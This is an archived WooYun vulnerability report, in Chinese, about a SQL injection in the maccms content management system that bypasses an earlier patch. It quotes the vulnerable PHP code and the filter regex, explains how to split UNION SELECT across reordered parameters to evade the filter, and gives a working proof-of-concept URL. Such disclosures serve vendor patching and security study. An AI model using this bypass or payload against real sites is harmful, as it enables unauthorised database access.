当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083243

漏洞标题:maccms 最新版sql注入补丁绕过

相关厂商:maccms.com

漏洞作者: 路人甲

提交时间:2014-11-17 10:07

修复时间:2015-02-15 10:08

公开时间:2015-02-15 10:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-17: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-15: 细节向公众公开

简要描述:

RT

详细说明:

这个漏洞以前menmen519大神提交过 ,但是之前用的可能是时间盲注,官方给出的答案是新版本已经修复。这次就用union select读取数据 (别再说漏洞重复了,乌云的各位审查大神们!!!)
首先在index.php页面中,

$m = be('get','m'); 
if(strpos($m,'.')){
$m = substr($m,0,strpos($m,'.'));
}
$par = explode('-',$m);


这里先是将get参数m的值根据指定的格式进行分割。这里get参数已经做了转义操作。

$colnum = array("id","pg","year","typeid","class","classid"); if($parlen>=2){ 
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}


然后再将参数保存到$tpl->P中,其中当key不在$colnum中时,value就进行url解码操作。
再看文件:inc/module/art.php

elseif($method=='search') { 
$tpl->P["siteaid"] = 25;
$wd = be("all", "wd");
if(!empty($wd)){
$tpl->P["wd"] = $wd;
}
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
//if (isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) ){ alert ("搜索参数不正确"); } $tpl->P['cp'] = 'artsearch'; $tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type'] .'-'.urlencode($tpl->P['tag']) ; echoPageCache($tpl->P['cp'],$tpl->P['cn']); $tpl->P["where"]=''; $tpl->P["des"]=''; if (!isN($tpl->P["letter"])){ $tpl->P["key"]=$tpl->P["letter"]; $tpl->P["des"] = $tpl->P["des"] . "&nbsp;首字母为" . $tpl->P["letter"]; $tpl->P["where"] = $tpl->P["where"] . " AND a_letter='" . $tpl->P["letter"] ."' "; } if (!isN($tpl->P["wd"])) { $tpl->P["key"]=$tpl->P["wd"] ; $tpl->P["des"] = $tpl->P["des"] . "&nbsp;名称或主演为" . $tpl->P["wd"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(a_name,'".$tpl->P['wd']."')>0 "; } if (!isN($tpl->P["pinyin"])){ $tpl->P["key"]=$tpl->P["pinyin"] ; $tpl->P["des"] = $tpl->P["des"] . "&nbsp;拼音为" . $tpl->P["pinyin"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(a_enname,'".$tpl->P['pinyin']."')>0 "; } if (!isN($tpl->P["tag"])){ $tpl->P["key"]=$tpl->P["tag"] ; $tpl->P["des"] = $tpl->P["des"] . "&nbsp;Tag为" . $tpl->P["tag"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(a_tag,'".$tpl->P['tag']."')>0 "; }


在这里
$tpl->P["where"] = $tpl->P["where"] . " AND a_letter='" .$tpl->P["letter"] ."' ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_name,'".$tpl->P['wd']."')>0 ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_enname,'".$tpl->P['pinyin']."')>0 ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_tag,'".$tpl->P['tag']."')>0 ";
这些参数都不属于之前的colnum数组,而且这些值都没有进行过滤操作,直接被带入到了sql语句中,导致sql注入。 但是官方更新了360safe文件
</code>
$getfilter = "\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark*?(.*)|sleep*?(.*)|load_file*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|+?[\w]+?\s+?\bin\b\s*?(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT(\(.+\)|\s+?.+?)|UPDATE(\(.+\)|\s+?.+?)SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)(\(.+\)|\s+?.+?\s+?)FROM(\(.+\)|\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|UNION([]*?)SELECT";
</code>
这里面官方增加了一个UNION([]*?)SELECT 的检测,过滤掉了之前的union select/**/绕过方式。
但我们仍然有方法bypass 首先360safe的值实际上是get参数中的m值。
而我们用的是$tpl中的值。
m值得格式是: module-method-key1-value1-key2-value2-key3-value3
但是key的顺序不会影响到$tpl->p中的值,也就是不会影响到最终的where条件。
也就是module-method-key2-value2-key1-value1-key3-value3
这个是不影响最终的结果的,利用这个方法 我们就可以绕过360safe了
我们使用letter和wd作为注入点,让letter含有union/* ,让wd含有*/select, 这样组合起来就是 union /*.....*/select。 但在m的排序方面 让wd放在前面,letter放在后面。 m=art-search-wd-*/select 999%23-letter-' union/*
这样m值就绕过了360safe。
where值就是 ' union/*.....*/select 999# poc:/maccms/index.php?m=art-search-wd-%252a%252fselect%2520user() order by 1 desc%2523-letter-%2527%2520union%252f%252a

BaiduHi_2014-11-12_9-59-42.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-17 10:30

厂商回复:

稍后进行修复

最新状态:

暂无